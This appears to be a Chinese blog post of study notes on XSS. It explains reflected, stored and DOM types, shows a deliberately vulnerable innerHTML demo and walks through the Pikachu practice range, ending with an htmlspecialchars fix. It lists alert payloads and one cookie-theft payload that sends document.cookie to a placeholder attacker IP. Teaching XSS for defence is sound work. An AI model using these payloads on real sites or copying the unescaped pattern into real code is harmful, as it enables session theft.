Skip to content
Kurisu
Go back

XSS 跨站脚本攻击

核心知识点

1. 网站三件套(前端/后端/数据库)

2. XSS 原理

3. 三种 XSS 类型

类型特点触发条件
反射型非化,脚本不存数据库,通过 URL/表单提交,“反射”回页面需诱导点击恶意链接(社会工程学)
存储型最危险,脚本存储于数据库/文件任何访问该页面的用户自动触发
DOM 型攻击前端 JS 直接操作 DOM,无需与服务器交互构造恶意 URL 或利用特定 HTML 属性

4. 基础实验(记事本 + 浏览器)

<input type="text" id="userInput">
<button onclick="leaveMessage()">提交留言</button>
<div id="displayArea"></div>
<script>
  function leaveMessage() {
    var text = document.getElementById('userInput').value;
    document.getElementById('displayArea').innerHTML = text;  // 无任何防范
  }
</script>

正常:今天天气真好! → 正常显示。 攻击:

<img src="x" onerror="alert('警告:你被黑客攻击了!')">

图片加载失败触发 onerror 弹窗;真实攻击里是后台静默窃取凭证。

5. Pikachu 靶场实战

反射型 XSS(GET):

  1. Cross-Site Scripting -> 反射型xss(get)。
  2. test 提交,回显 who is test,i don't care.,说明被拼进 HTML。
  3. <script>alert('XSS')</script>。
  4. 前端限制:<input> 有 maxlength,按 F12 修改/删除(设为大数如 100)。
  5. 提交后弹窗;URL 里 ?message=<script>alert('XSS')</script> 就是钓鱼链接。

存储型 XSS:

  1. Cross-Site Scripting -> 存储型xss(留言板功能)。
  2. 留言框输入 <script>alert('这是存储型XSS')</script> 提交。
  3. 重开/换浏览器访问仍弹窗 → 脚本已存进数据库。

7. 防御与绕过

实操步骤

# 反射型 Payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>

# 窃取 Cookie(真实攻击示意)
<script>document.location='http://攻击IP/steal.php?c='+document.cookie</script>

# 存储型:提交到留言板后化触发

防御代码示例:

echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

常见错误与排查


Share this post:

Previous Post
SQL 进阶与 sqlmap
Next Post
文件上传漏洞